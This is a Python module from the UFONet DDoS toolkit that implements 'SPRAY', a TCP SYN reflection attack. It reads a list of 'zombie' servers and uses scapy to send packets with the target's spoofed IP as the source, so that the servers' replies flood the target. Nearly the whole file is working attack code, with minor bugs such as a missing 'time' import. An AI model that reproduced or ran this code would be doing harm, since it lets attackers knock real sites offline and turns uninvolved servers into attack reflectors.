"""
This file is part of the UFONet project, https://ufonet.03c8.net
Copyright (c) 2013/2020 | psy <[email protected]>
You should have received a copy of the GNU General Public License along
with UFONet; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import sys, random, socket
import urllib.parse
try:
from scapy import *
except:
print("\nError importing: scapy lib.\n")
sys.exit(2)
def randInt():
x = random.randint(1,65535)
return x
def sIP(base_stations):
bs = {}
s_zombie = random.choice(base_stations).strip()
if not s_zombie in bs:
url = urllib.parse.urlparse(s_zombie)
try:
s_zombie_ip = socket.gethostbyname(url.netloc)
bs[s_zombie] = s_zombie_ip
except:
try:
import dns.resolver
r = dns.resolver.Resolver()
r.nameservers = ['8.8.8.8', '8.8.4.4']
a = r.query(url.netloc, "A")
for rd in a:
s_zombie_ip = str(rd)
bs[s_zombie] = s_zombie_ip
except:
s_zombie_ip = s_zombie
else:
s_zombie_ip = bs.get(s_zombie)
return s_zombie_ip
def sprayize(ip, sport, rounds):
f = open('botnet/zombies.txt')
base_stations = f.readlines()
base_stations = [ base_station.replace('\n','') for base_station in base_stations ]
f.close()
n=0
try:
for x in range (0,int(rounds)):
n=n+1
s_zombie_ip = sIP(base_stations)
if s_zombie_ip == None:
print("[Error] [AI] [SPRAY] Imposible to retrieve 'base stations' -> [Aborting!]\n")
break
seq = randInt()
window = randInt()
IP_p = IP()
try:
IP_p.src = ip
except:
print("[Error] [AI] [SPRAY] Imposible to resolve IP from 'target' -> [Aborting!]\n")
break
try:
IP_p.dst = s_zombie_ip
except:
print("[Error] [AI] [SPRAY] Imposible to resolve IP from 'base station' -> [Aborting!]\n")
break
TCP_l = TCP()
TCP_l.sport = sport
TCP_l.dport = sport
TCP_l.seq = seq
TCP_l.window = window
TCP_l.flags = "S"
SYNACK=(IP_p/TCP_l)
TCP_l.flags = "A"
TCP_l.seq = SYNACK.ack+1
TCP_l.ack = SYNACK.seq+1
try:
send(IP_p/TCP_l, verbose=0)
print(("[Info] [AI] [SPRAY] Redirecting 'base station' ["+str(n)+"] ["+str(s_zombie_ip)+"] -> [RE-FLUXING!]"))
time.sleep(1)
except:
print(("[Error] [AI] [SPRAY] Failed to redirect 'base station' ["+str(n)+"] ["+str(s_zombie_ip)+"]"))
except:
print("[Error] [AI] [SPRAY] Failing to engage... -> Is still target online? -> [Checking!]")
class SPRAY(object):
def attacking(self, target, rounds):
print(("[Info] [AI] TCP SYN Reflector (SPRAY) is redirecting: [ " + str(rounds)+ " base stations ]"))
if target.startswith('http://'):
target = target.replace('http://','')
sport = 80
elif target.startswith('https://'):
target = target.replace('https://','')
sport = 443
try:
ip = socket.gethostbyname(target)
except:
try:
import dns.resolver
r = dns.resolver.Resolver()
r.nameservers = ['8.8.8.8', '8.8.4.4']
url = urlparse(target)
a = r.query(url.netloc, "A")
for rd in a:
ip = str(rd)
except:
ip = target
if ip == "127.0.0.1" or ip == "localhost":
print("[Info] [AI] [SPRAY] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
return
sprayize(ip, sport, rounds)